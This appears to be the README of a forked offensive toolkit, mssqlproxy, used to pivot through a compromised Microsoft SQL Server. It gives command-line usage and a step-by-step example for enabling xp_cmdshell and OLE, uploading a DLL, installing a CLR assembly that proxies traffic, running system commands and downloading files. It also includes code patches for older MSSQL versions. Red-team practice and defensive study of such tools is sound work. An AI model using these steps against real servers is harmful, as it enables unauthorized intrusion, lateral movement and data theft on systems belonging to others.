mssqlproxy

mssqlproxy is a toolkit aimed to perform lateral movement in restricted environments through a compromised Microsoft SQL Server via socket reuse. The client requires impacket and sysadmin privileges on the SQL server.

Please read this article carefully before continuing.

proxy mode:
  -reciclador path      Remote path where DLL is stored in server
  -install              Installs CLR assembly
  -uninstall            Uninstalls CLR assembly
  -check                Checks if CLR is ready
  -start                Starts proxy
  -local-port port      Local port to listen on
  -clr local_path       Local CLR path
  -no-check-src-port    Use this option when connection is not direct (e.g. proxy)

We have also implemented two commands (within the SQL shell) for downloading and uploading files. Relating to the proxy stuff, we have four commands:

• install: Creates the CLR assembly and links it to a stored procedure. You need to provide the -clr param to read the generated CLR from a local DLL file.
• uninstall: Removes what install created.
• check: Checks if everything is ready to start the proxy. Requires to provide the server DLL location (-reciclador), which can be uploaded using the upload command.
• start: Starts the proxy. If -local-port is not specified, it will listen on port 1337/tcp.

Note #1: if using a non-direct connection (e.g. proxies in between), the -no-check-src-port flag is needed, so the server only checks the source address.

Note #2: at the moment, only IPv4 targets are supported (nor DNS neither IPv6 addresses).

Note #3: use carefully! by now the MSSQL service will crash if you try to establish multiple concurrent connections

Important: It's important to stop the mssqlproxy by pressing Ctrl+C on the client. If not, the server may crash and you will have to restart the MSSQL service manually.

Example

Prepare

python3 mssqlclient.py $username:$password@$ip_mssql
SQL> enable_xp_cmdshell
SQL> enable_ole
SQL> upload reciclador.dll c:\programdata\reciclador.dll
SQL> exit

Proxy

python3 mssqlclient.py $username:$password@$ip_mssql -install -clr Microsoft.SqlServer.Proxy.dll
python3 mssqlclient.py $username:$password@$ip_mssql -check -reciclador 'c:\programdata\reciclador.dll'
python3 mssqlclient.py $username:$password@$ip_mssql -start -reciclador 'c:\programdata\reciclador.dll'

xp_cmdshell

SQL> xp_cmdshell whoami /all

download file

download c:\xx.zip xx.zip

Base

https://github.com/iptL-F4ck/mssqlproxy/

Change

217 line of mssqlclient.py

SET @ip=TRIM(CONVERT(char(15), CONNECTIONPROPERTY('client_net_address')));
change to
SET @ip=LTRIM(RTRIM(CONVERT(char(15), CONNECTIONPROPERTY('client_net_address'))));

103 line of reciclador.cpp

return 1;
change to
return -1;

Why modify

mssqlclient.py：在mssql2017之后才新增的TRIM函数，绕过mssql小于2017则会报错，仅在mssql2014测试。

reciclador.cpp：如果python脚本意外退出，该dll会陷入死循环从而导致CPU占用100%。

License

All the code included in this project is licensed under the terms of the GPL license. The mssqlclient.py is based on Impacket.